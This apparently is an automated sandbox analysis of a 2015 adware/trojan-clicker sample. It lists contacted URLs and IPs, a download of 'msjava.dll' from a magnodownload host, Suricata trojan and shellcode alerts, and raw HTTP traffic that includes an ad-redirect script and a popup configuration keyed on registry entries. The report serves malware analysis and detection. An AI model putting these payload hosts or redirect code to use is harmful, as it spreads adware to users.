hxxp://us-scproxy.alibaba.com/ajaxMemberLevelTag.do?event=getMemberLevel&callback=jQuery183069035179626267_1434155618577&_=1434155620218
hxxp://us-scproxy.alibaba.com/notification.do?callback=jQuery183069035179626267_1434155618578&_=1434155620249
hxxp://a1049.w55.akamai.net/js/6v/biz/common/security-umscript/??um.js?t=9d044bd6_0
hxxp://e11102.b.akamaiedge.net/favicon.ico
hxxp://stat.alibaba.com/event/common.html?id=17770&ext=cnatime=2078&st_page_id=c18af4e7ac14ac7e557b7a5814dea56116f24cff8f&ali_beacon_id=193.138.244.231.143415561055.341443.0&inc=0&ver=40&time=1434155620749	205.204.96.98
hxxp://stat.alibaba.com/sc/fpc.html?cna=WWgCDjWxzjYCAcGK9OdXbmWQ&pageid=c18af4e7ac14ac7e557b7a5814dea56116f24cff8f&ali_beacon_id=193.138.244.231.143415561055.341443.0	205.204.96.98
hxxp://cmap.alibaba.com/ml.html?callback=landing8978252&cna=WWgCDjWxzjYCAcGK9OdXbmWQ	205.204.96.142
hxxp://e11102.b.akamaiedge.net/js/sufei.js?v=2015-05-26
hxxp://cmap.alibaba.com/landing.gif	205.204.96.142
hxxp://pagead.l.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm&loop=1
hxxp://pagead.l.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm=&loop=1&google_tc=
hxxp://cmap.alibaba.com/landing.gif?google_gid=CAESEDFEM-6j34BXp9sspL63B48&google_cver=1&loop=1	205.204.96.142
hxxp://ynuf.alibaba.com/service/um.json?xv=2.0.3&xt=d5b9591c-cb60-4f96-be26-2bff6b23ff8a&xa=scp4p&xh=&x0=0^^1^^1^^1^^1^^1^^1^^1^^5^^1^^color^^-^^1276^^846&x1=1^^1^^1^^1^^0^^0^^1^^0^^0^^en^^-^^0^^Windows XP^^Win32&x2=Mozilla^^;SP3;^^Microsoft Internet Explorer^^3516ab67d54092e6bf44e729b77d6580^^en-us^^x86^^57f2da82064a7b7501289385afb25340^^Adobe Windows^^ActiveX^^en-us^^1def8189f7c620d61827869f51fcf447^^en-us^^WIN 11,6,602,168&x3=818^^1276^^3896^^1400^^846^^-^^http%3A%2F%2Foffer.alibaba.com%2Fexclusive.html%3Falpsm%3Dtrue%26sms%3Dsuginter%26smcon%3Dp%26tv%3D3%26imp%3D5b1aor19nl5bq76m3hj%26xp%3DLvgMuz7SxVBSO8m8pLNOH7a3^^-^^101^^-^^1434155621374^^120^^1276&xs=null&_callback=_1867_1434155621390	198.11.132.254
hxxp://staticrr.tgusrv.com/sdb/e0/WebBrowser.xml?71b7ff3e-9e2c-4df1-9a9e-999ab41d6549
hxxp://a1082.w55.akamai.net/simg/sprites/env/aisn/goto-top.png
hxxp://a1049.w55.akamai.net/js/6v/biz/common/webatm-new/webatm.js?t=fbcc9a5f_88ad028d78
hxxp://a1082.w55.akamai.net/simg/sprites/env/aisn/survey-grey.png
hxxp://a1049.w55.akamai.net/js/6v/??lib/icbu/menu-tree/menu-tree.js,lib/icbu/uploader/uploader.js,lib/icbu/dragdrop/draggable.js,biz/common/drag-paste-widget/drag-paste-widget.js?t=2e3641163_1d539836ca
hxxp://a1049.w55.akamai.net/css/6v/run/common/webatm-new/webatm.css?t=0_102dc101ea
hxxp://a1049.w55.akamai.net/css/6v/run/common/drag-paste/drag-paste.css?t=db4d3b36_0
hxxp://a1049.w55.akamai.net/simg/sprites/env/webatm-new/contacts-icons.png?t=762e3bac_0
hxxp://a1049.w55.akamai.net/simg/sprites/env/webatm/common.png?t=ad99287c_0
hxxp://img.alicdn.com/tps/i4/TB1WJb8HpXXXXcCXFXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://style.aliunicorn.com/css/6v/run/common/drag-paste/drag-paste.css?t=db4d3b36_0	212.30.134.221
hxxp://style.aliunicorn.com/css/6v/??run/arcadia/landing-page/lp-layout-premium-market.css,run/list/common/default.css,run/arcadia/landing-page/lp-category-list.css,run/arcadia/category/categories-home.css,apollo/mod/header/header-v4-sc.css,run/common/top-reached/top-reached.css,apollo/mod/footer/footer-v4-sc.css?t=1839ef62e_22db2c054f	212.30.134.221
hxxp://notification.alibaba.com/notification.do?callback=jQuery183069035179626267_1434155618578&_=1434155620249	198.11.132.198
hxxp://www.google-analytics.com/r/collect?v=1&_v=j37&a=2129827782&t=pageview&_s=1&dl=http://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf&dr=http://onclickads.net/afu.php?zoneid=313275&ul=en-us&de=utf-8&dt=Alibaba Premium Marketplace&sd=32-bit&sr=1276x846&vp=1260x681&je=0&fl=11.6 r602&_u=AEAAAEAAI~&jid=1757803183&cid=1214118344.1434155619&tid=UA-53529524-1&_r=1&z=1776085867	216.58.209.206
hxxp://is.alicdn.com/favicon.ico	23.64.226.88
hxxp://style.aliunicorn.com/js/6v/biz/common/webatm-new/webatm.js?t=fbcc9a5f_88ad028d78	212.30.134.221
hxxp://style.aliunicorn.com/js/6v/biz/common/lazyload-images/lazyload-images.js?t=ba5caa31_6b5144d34	212.30.134.221
hxxp://style.aliunicorn.com/css/6v/run/common/webatm-new/webatm.css?t=0_102dc101ea	212.30.134.221
hxxp://img.alicdn.com/tps/i2/TB1QtIrFVXXXXbHXFXXIVqAQXXX-1400-160.png	23.64.226.88
hxxp://i02.i.aliimg.com/simg/sprites/env/aisn/survey-grey.png	212.30.134.220
hxxp://style.aliunicorn.com/simg/sprites/env/webatm/common.png?t=ad99287c_0	212.30.134.221
hxxp://img.alibaba.com/js/beacon_en.js	212.30.134.190
hxxp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm&loop=1	216.58.209.162
hxxp://i02.i.aliimg.com/wimg/monitor/start-render.png	212.30.134.220
hxxp://img.alicdn.com/tps/i1/TB1QrZ5HXXXXXbmapXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://style.aliunicorn.com/js/6v/biz/common/security-umscript/??um.js?t=9d044bd6_0	212.30.134.221
hxxp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm=&loop=1&google_tc=	216.58.209.162
hxxp://img.alicdn.com/tps/i4/TB16MsBGXXXXXc1XFXXw4O3GXXX-33-20.png	23.64.226.88
hxxp://gj.mmstat.com/7.gif?logtype=1&title=&pre=http://onclickads.net/afu.php?zoneid=313275&cache=67bd1e4&scr=1276x846&isbeta=5&spm-cnt=0.0.0.0.Mj3nGs&aplus&pageid=c18af4e7ac14ac7e557b7a5814dea56116f24cff8f&ali_apache_id=193.138.244.231.1434155608293.716224.2&dmtrack_c={trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76|aep_usuc_f=-}&p=1&o=winXP&b=ie6&s=1276x846&w=trident	205.204.96.45
hxxp://style.aliunicorn.com/js/6v/??biz/list/common/top.js,biz/list/common/bottom.js,biz/aisn/ghome/categories/categories.js,biz/common/header/header-v4-sc.js,biz/common/top-reached/top-reached.js,biz/common/url/url.js,biz/common/cookie-info/cookie-info.js,biz/common/affiliate-remarketing/affiliate-remarketing.js,biz/common/umid/umid.js,biz/arcadia/premium-ppv/premium-ppv.js,lib/gallery/store/store.js?t=3e3f0742a_1013aa46edc	212.30.134.221
hxxp://img.alicdn.com/tps/i3/TB1ciU8HXXXXXahaXXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://u.alicdn.com/js/sufei.js?v=2015-05-26	23.64.226.88
hxxp://img.alicdn.com/tps/i3/TB1_jCQHpXXXXXDXXXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://style.aliunicorn.com/js/6v/lib/gallery/??jquery/jquery.js,es5-safe/es5-safe.js,json/json.js?t=db4c592b_0	212.30.134.221
hxxp://www.google-analytics.com/analytics.js	216.58.209.206
hxxp://style.aliunicorn.com/simg/sprites/env/aisn/ghome/ghome.png?t=4e09143a_0	212.30.134.221
hxxp://img.alicdn.com/tps/i1/TB1YUr7HpXXXXXTaXXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://img.alicdn.com/tps/i3/TB1knn4HpXXXXc.XVXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://style.aliunicorn.com/js/6v/??lib/icbu/menu-tree/menu-tree.js,lib/icbu/uploader/uploader.js,lib/icbu/dragdrop/draggable.js,biz/common/drag-paste-widget/drag-paste-widget.js?t=2e3641163_1d539836ca	212.30.134.221
hxxp://img.alicdn.com/tps/i3/TB19_fqGXXXXXXrXFXXSutbFXXX.jpg	23.64.226.88
hxxp://static.api.magnodownload.com/d5/msjava.dll	54.191.3.243
hxxp://style.aliunicorn.com/js/6v/atom/??atom-sc.js?t=6453147c_104cacc3f2	212.30.134.221
hxxp://style.aliunicorn.com/simg/sprites/app/[email protected]?t=21312772_0	212.30.134.221
hxxp://profile.alibaba.com/ajaxMemberLevelTag.do?event=getMemberLevel&callback=jQuery183069035179626267_1434155618577&_=1434155620218	198.11.132.198
hxxp://i02.i.aliimg.com/simg/sprites/env/aisn/goto-top.png	212.30.134.220
hxxp://style.aliunicorn.com/simg/sprites/env/webatm-new/contacts-icons.png?t=762e3bac_0	212.30.134.221
hxxp://style.aliunicorn.com/simg/single/icon/loading_16x16.gif?t=30d69a7b_0	212.30.134.221
hxxp://img.alicdn.com/tps/i4/TB13n.FHXXXXXX7aXXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://is.alicdn.com/js/6v/biz/common/store-proxy/store-proxy2.html?iframe_delete=true	23.64.226.88
hxxp://staticrr.fastplayerpro.com/sdb/e0/WebBrowser.xml?71b7ff3e-9e2c-4df1-9a9e-999ab41d6549	185.2.179.74
s.tbcdn.cn	195.27.31.232
stats.g.doubleclick.net	64.233.161.154
ssl.google-analytics.com	216.58.209.200

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Suspicious User-Agent (Session) - Possible Trojan-Clicker
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /js/show_ads.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: n149adserv.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Accept-Ranges: bytes

ETag: W/"7614-1432285206000"

Last-Modified: Fri, 22 May 2015 09:00:06 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Sat, 13 Jun 2015 00:33:25 GMT
a..............200...Ymo.8.. 6.....8=...U.4.^.H[\.......h..,jE.......I
..,{.......G....g...;,....l..A4.i... b.u*[email protected]..}...=..R*.......=.X
..p..ln.).....c..Q).i....w..|...',_.<l.6....).i._.EF.,....2......'&
gt;u.2....,&a.......s.G...6.!..D....O.2I.0e...6{.=s....s......G.......
.....!.`.......r..hl.{...o..=..u.r..y.w.....;\.y.......t.gT.._J._.X.|%
..#./.d..s......)..T|'n..".~..b....j!....Us?.i,.`P...y:s......^..y..b.
-...G4.._f.....^......y...M...........U....~.;..l..{.....X..9Ob.....A.
.......B<p&..bq-".L.AtV;.....T..O;../...!..ah.....200..V9.*....U ..
.4|.;V...;O..N>.GOA.... #8.Ft...e~..sG.HH..V..~..!.....|[email protected].....
Cwk/.w..fA Z.....l^...qg.>b....G...P..F.. G..j.0?..#.....$..G..P<
;.A......{..,....Y......K.*[email protected]...(=91..C~....c.a.'...t
..!.S.'...v..^..?.d.....1.....`...Ng..Dd^w>.....G.9..[..>/..|O.f
.hd..L.V1[...1..E.T,...qS.......2G7i.GC.gBr....E......U..xZ1|t.g...V..
...XH.R...R..."..D.>.0U...z..[GU1.(.y.L......|.)[email protected]].-..c..`....
C.|.G o..|..hb..2iL......T#p.bV.)b.z).....AZ.k.v..o.......n /"..|."...
......3...]^...u.1....1..\.P..200..H.b-......z......r\p....L..H].Q._Y.
W..v..DA.R..:..I=.C..Jg{W.....#.e.......O.#.....................\.0Q..
[email protected]..,AK!...H#...."...$..:p...S.R.k..Y:..<
...U....m6\..@.<.`...3.f......p.r.9....U.*]..f.b..k.i_..U..z..n1...
.&C|.6.X.1*X...k......P]...^k....U.=~..mrc......Jc.aASj,.|...B.f.l....
.....*.1..^[d....Fe.m7J.PW.v..C/d...E..l.....f5..v.D...B...'.&T....&E.
D....h.O.......M.R.4..h......sb{.YQ..Nm=%..d.....zO.{....9.*s.H..d
<<< skipped >>>

GET /ads-sync.js?v=1&key=8807bef3df789cfc967df2f12545a152&ch=&click=&tz=3&t=1434155616452&requestUrl=http://VVV.magnodownload.com/BesH3gE9/pop-up/&requestRef=&flashVer=11.6 r602&scrWidth=1276&scrHeight=846&cIds= HTTP/1.1

Accept: */*

Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: n149adserv.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Cache-Control: no-cache

Pragma: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

P3P: CP="CAO PSA OUR"

Set-Cookie: csc=76-1434242006566-19-1--; Domain=.n149adserv.com; Expires=Sun, 12-Jun-2016 00:33:26 GMT; Path=/

Set-Cookie: epomUUID=ce532c61-1163-11e5-87f2-f8bc125381b8; Domain=.n149adserv.com; Expires=Fri, 08-Jun-2035 00:33:26 GMT; Path=/

Content-Type: text/javascript;charset=UTF-8

Content-Length: 422

Date: Sat, 13 Jun 2015 00:33:25 GMT
document.write("<meta http-equiv=\"refresh\" content=\"0; url=http:
\/\/onclickads.net\/afu.php?zoneid=313275\" \/><script type=\"te
xt\/javascript\">new Image().src = \"http:\/\/n149adserv.com\" \"\/
im\" \"pressi\" \"on.gif?b=778\" \"&p=27&ch=&ap=&cps=&c\" \"=76&l=UA\"
 \"&h=acf77f38e46b2eec6d48af61483c53a7&t=\" new Date().getTime() \"&s=
1ca12eb2e60e376e81cb62ca2676068e\";<\/script>");.CustomWLAdServe
r.addCampaignId(76);....

GET /simg/sprites/env/aisn/goto-top.png HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: i02.i.aliimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Sat, 13 Jun 2015 22:13:24 GMT

Last-Modified: Wed, 05 Dec 2012 08:39:07 GMT

Cache-Control: max-age=172800

Timing-Allow-Origin: *

SERVED-FROM: 212.30.134.184

Server: Tengine

Accept-Ranges: bytes

Content-Length: 370

Content-Type: image/png

X-Pad: avoid browser bug

Date: Sat, 13 Jun 2015 00:33:34 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR...0...0.....`.......tEXtSoftware.Adobe ImageReadyq.e&
lt;...KPLTE...........................................................
..................XY....tRNS..........................4......IDATx....
..0....&"..8....W..L..z..6.G.....i&..8p`..\M..... [email protected]...
.(}...>4...........\.T...{}b.q.[v.D ....Unb.u.m.~w.#..........p...`
}......8..........IEND.B`.HTTP/1.1 200 OK..Expires: Sat, 13 Jun 2015 2
2:13:24 GMT..Last-Modified: Wed, 05 Dec 2012 08:39:07 GMT..Cache-Contr
ol: max-age=172800..Timing-Allow-Origin: *..SERVED-FROM: 212.30.134.18
4..Server: Tengine..Accept-Ranges: bytes..Content-Length: 370..Content
-Type: image/png..X-Pad: avoid browser bug..Date: Sat, 13 Jun 2015 00:
33:34 GMT..Connection: keep-alive..Timing-Allow-Origin: *..Network_Inf
o: UA_KHARKIV_34323...PNG........IHDR...0...0.....`.......tEXtSoftware
.Adobe ImageReadyq.e<...KPLTE......................................
.......................................XY....tRNS.....................
.....4......IDATx......0....&"..8....W..L..z..6.G.....i&..8p`..\M.....
 [email protected]....(}...>4...........\.T...{}b.q.[v.D ....Unb.u.
m.~w.#..........p...`}......8..........IEND.B`...
<<< skipped >>>

GET /pixel?google_nid=alibaba_dmp&google_cm&loop=1 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cm.g.doubleclick.net

Connection: Keep-Alive

HTTP/1.1 302 Found

P3P: policyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Location: hXXp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm=&loop=1&google_tc=

Date: Sat, 13 Jun 2015 00:33:32 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Content-Type: text/html; charset=UTF-8

Server: HTTP server (unknown)

Content-Length: 294

X-XSS-Protection: 1; mode=block

Set-Cookie: test_cookie=CheckForPermission; expires=Sat, 13-Jun-2015 00:48:32 GMT; path=/; domain=.doubleclick.net

Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dm
p&google_cm=&loop=1&google_tc=">here</A>...</B
ODY></HTML>......


GET /pixel?google_nid=alibaba_dmp&google_cm=&loop=1&google_tc= HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cm.g.doubleclick.net

Connection: Keep-Alive

Cookie: test_cookie=CheckForPermission

HTTP/1.1 302 Found

P3P: policyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Location: hXXp://cmap.alibaba.com/landing.gif?google_gid=CAESEDFEM-6j34BXp9sspL63B48&google_cver=1&loop=1

Date: Sat, 13 Jun 2015 00:33:32 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Content-Type: text/html; charset=UTF-8

Server: HTTP server (unknown)

Content-Length: 300

X-XSS-Protection: 1; mode=block

Set-Cookie: id=22ba38080f020075||t=1434155612|et=730|cs=002213fd48905a2bce2cc59624; expires=Mon, 12-Jun-2017 00:33:32 GMT; path=/; domain=.doubleclick.net

Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; Max-Age=0; expires=Mon, 21 Jul 2008 23:59:00 GMT

Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://cmap.alibaba.com/landing.gif?google_gid=CAESEDFE
M-6j34BXp9sspL63B48&google_cver=1&loop=1">here</A>...
</BODY></HTML>..HTTP/1.1 302 Found..P3P: policyref="http:/
/googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa 
TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR
"..Location: hXXp://cmap.alibaba.com/landing.gif?google_gid=CAESEDFEM-
6j34BXp9sspL63B48&google_cver=1&loop=1..Date: Sat, 13 Jun 2015 00:33:3
2 GMT..Pragma: no-cache..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache
-Control: no-cache, must-revalidate..Content-Type: text/html; charset=
UTF-8..Server: HTTP server (unknown)..Content-Length: 300..X-XSS-Prote
ction: 1; mode=block..Set-Cookie: id=22ba38080f020075||t=1434155612|et
=730|cs=002213fd48905a2bce2cc59624; expires=Mon, 12-Jun-2017 00:33:32 
GMT; path=/; domain=.doubleclick.net..Set-Cookie: test_cookie=; domain
=.doubleclick.net; path=/; Max-Age=0; expires=Mon, 21 Jul 2008 23:59:0
0 GMT..Alternate-Protocol: 80:quic,p=1..<HTML><HEAD><me
ta http-equiv="content-type" content="text/html;charset=utf-8">.<
;TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>3
02 Moved</H1>.The document has moved.<A HREF="hXXp://cmap.ali
baba.com/landing.gif?google_gid=CAESEDFEM-6j34BXp9sspL63B48&go
<<< skipped >>>

GET /sdb/e0/WebBrowser.xml?71b7ff3e-9e2c-4df1-9a9e-999ab41d6549 HTTP/1.1

Host: staticrr.fastplayerpro.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 13 Jun 2015 00:33:33 GMT

Content-Type: text/xml

Content-Length: 4250

Last-Modified: Mon, 18 May 2015 14:02:05 GMT

Connection: keep-alive

ETag: "5559f0dd-109a"

Accept-Ranges: bytes
<Popup>..<Version>1.0.0.10</Version>.    <Enabled
>true</Enabled>..<Size height="768" width="1000"/>.    
<FrecuencyPerHour>3</FrecuencyPerHour>.    <MaxWindows&
gt;4</MaxWindows>.    <LaunchDate>07/01/2015</LaunchDat
e>.    <Url container="popup">hXXp://VVV.wbredirect.com</U
rl>..<UrlNotAllowedCountries countries="AE,IR,IL,EG,CN,BA,RS,TH,
IN,CZ,ID,VN,PH,PK" container="popup">hXXp://network.adsmarket.com/c
lick/jGJunWecqZmOZnCXYcp6w4iQa5xgn36bi2SYm2Gif5mJkGqXXpt-lbdia5hhn3qX&
lt;/UrlNotAllowedCountries>.    <UrlByRegister>...<Url con
tainer="browser" key="HKLM\SOFTWARE" priority="5"><![CDATA[http:
//n149adserv.com/ads?key=8a35d9a5b93c671dcef88419ab81871b&width=0&heig
ht=0]]></Url>...<Url container="browser" key="HKLM\SOFTWAR
E\Microsoft\Windows\CurrentVersion\Uninstall\TeamSpeak 3 Client" prior
ity="5"><![CDATA[hXXp://n149adserv.com/ads?key=0d8448124f556ffce
ee148f60ea374f6&width=0&height=0]]></Url>...<Url container
="browser" key="HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninsta
ll\RaidCall" priority="5"><![CDATA[hXXp://n149adserv.com/ads?key
=0d8448124f556ffceee148f60ea374f6&width=0&height=0]]></Url>..
.<Url container="browser" key="HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Uninstall\{EEB3F6BB-318D-4CE5-989F-8191FCBFB578}" priority=
"5"><![CDATA[hXXp://n149adserv.com/ads?key=0d8448124f556ffceee14
8f60ea374f6&width=0&height=0]]></Url>...<Url container
<<< skipped >>>

GET /ml.html?callback=landing8978252&cna=WWgCDjWxzjYCAcGK9OdXbmWQ HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cmap.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==; uns_unc_f=trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76; _ga=GA1.2.1214118344.1434155619; _gat=1; ali_beacon_id=193.138.244.231.143415561055.341443.0; cna=WWgCDjWxzjYCAcGK9OdXbmWQ; ali_apache_track=""; ali_apache_tracktmp=""

HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Type: application/javascript

Expires: Sat, 13 Jun 2015 01:33:31 UTC

Date: Sat, 13 Jun 2015 00:33:31 GMT

Content-Length: 55
landing8978252(['hXXp://cmap.alibaba.com/landing.gif'])....


GET /landing.gif HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cmap.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==; uns_unc_f=trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76; _ga=GA1.2.1214118344.1434155619; _gat=1; ali_beacon_id=193.138.244.231.143415561055.341443.0; cna=WWgCDjWxzjYCAcGK9OdXbmWQ; ali_apache_track=""; ali_apache_tracktmp=""; l=AvHxrRGyLE7mpvmUQ7aIkz3PQXGL3mVQ

HTTP/1.1 302 Found

Cache-Control: max-age=3600

Expires: Sat, 13 Jun 2015 01:33:32 UTC

Location: hXXp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm&loop=1

Date: Sat, 13 Jun 2015 00:33:32 GMT

Content-Length: 104

Content-Type: text/html; charset=utf-8
<a href="hXXp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&a
mp;google_cm&loop=1">Found</a>...HTTP/1.1 302 Found..Cach
e-Control: max-age=3600..Expires: Sat, 13 Jun 2015 01:33:32 UTC..Locat
